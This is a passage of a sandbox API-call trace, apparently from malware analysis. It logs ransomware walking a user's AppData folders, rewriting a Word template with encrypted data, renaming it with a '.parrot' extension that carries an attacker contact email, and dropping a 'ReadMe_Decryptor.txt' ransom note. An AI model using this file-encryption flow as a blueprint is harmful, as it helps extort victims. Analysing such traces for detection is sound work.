lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0052.361] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0052.361] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0052.361] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559c58 [0052.361] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0052.361] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0052.361] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0052.361] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0052.490] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.490] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.490] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.490] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0052.490] lstrcmpW (lpString1="14", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="14", lpString2="..") returned 1 [0052.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559e80 [0052.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5fe998 [0052.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559e80 | out: hHeap=0x540000) returned 1 [0052.490] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0052.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0052.490] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0052.490] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0052.601] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.601] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.601] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.601] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.601] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4e2b7e00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0052.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0052.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0052.601] lstrcmpW (lpString1="Built-In Building Blocks.dotx", lpString2="ReadMe_Decryptor.txt") returned -1 [0052.601] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0052.714] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x18ef50 | out: lpFileSizeHigh=0x18ef50*=0x0) returned 0x3fe4ab [0052.714] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fe5c3, nNumberOfBytesToLockHigh=0x0) returned 1 [0052.714] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0052.714] ReadFile (in: hFile=0x2b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0052.716] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.716] ReadFile (in: hFile=0x2b0, lpBuffer=0x3780040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0052.726] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0052.727] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x63e990 [0052.727] GetLastError () returned 0x0 [0052.727] SetLastError (dwErrCode=0x0) [0052.727] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0052.727] GetLastError () returned 0x0 [0052.727] SetLastError (dwErrCode=0x0) [0052.727] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0052.727] GetLastError () returned 0x0 [0052.727] SetLastError (dwErrCode=0x0) [0052.727] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0052.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x55df08 [0052.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x292de48 [0052.728] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0052.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x292fe88 [0052.728] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292de48 | out: hHeap=0x540000) returned 1 [0052.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x2933ec8 [0052.728] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292fe88 | out: hHeap=0x540000) returned 1 [0052.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x293bf08 [0052.729] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2933ec8 | out: hHeap=0x540000) returned 1 [0052.729] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x294bf48 [0052.731] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x293bf08 | out: hHeap=0x540000) returned 1 [0052.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x296bf88 [0052.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x294bf48 | out: hHeap=0x540000) returned 1 [0052.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x26c0020 [0052.739] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x296bf88 | out: hHeap=0x540000) returned 1 [0052.894] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x3890020 [0052.912] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.912] WriteFile (in: hFile=0x2b0, lpBuffer=0x562228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x562228*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0052.912] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.912] WriteFile (in: hFile=0x2b0, lpBuffer=0x3890040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3890040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0052.916] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fe5c3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0052.916] CloseHandle (hObject=0x2b0) returned 1 [0053.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1610 [0053.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x166) returned 0x5fc6d0 [0053.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1610 | out: hHeap=0x540000) returned 1 [0053.391] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0053.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0053.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0053.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890020 | out: hHeap=0x540000) returned 1 [0053.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c178 [0053.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63c9a8 [0053.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0053.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0053.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0053.398] GetFileType (hFile=0x2b0) returned 0x1 [0053.398] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0053.408] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0053.409] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaecff040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaecff040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.410] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaecff040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3fe5c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BUILT-~1.PAR")) returned 1 [0053.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0053.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0053.410] lstrcmpW (lpString1="Built-In Building Blocks.dotx.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0053.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x140) returned 0x608ab8 [0053.410] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaecff040, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaecff040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaed251a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0053.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.410] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0053.410] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaecff040, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaecff040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaed251a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0053.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c178 | out: hHeap=0x540000) returned 1 [0053.410] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0053.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0053.410] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0053.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559e80 [0053.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe998 | out: hHeap=0x540000) returned 1 [0053.410] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0053.410] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0053.410] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.410] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaecff040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaecff040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0053.411] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaecff040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaecff040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0053.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559e80 | out: hHeap=0x540000) returned 1 [0053.411] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0053.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0053.411] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0053.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0053.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559c58 | out: hHeap=0x540000) returned 1 [0053.411] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.411] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.411] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.411] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0053.411] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0053.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0053.411] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0053.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0053.411] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0053.411] lstrcmpW (lpString1="Excel", lpString2=".") returned 1 [0053.411] lstrcmpW (lpString1="Excel", lpString2="..") returned 1 [0053.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0053.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0053.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0053.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.411] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.412] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.412] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.412] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.412] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.412] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0053.412] lstrcmpW (lpString1="XLSTART", lpString2=".") returned 1 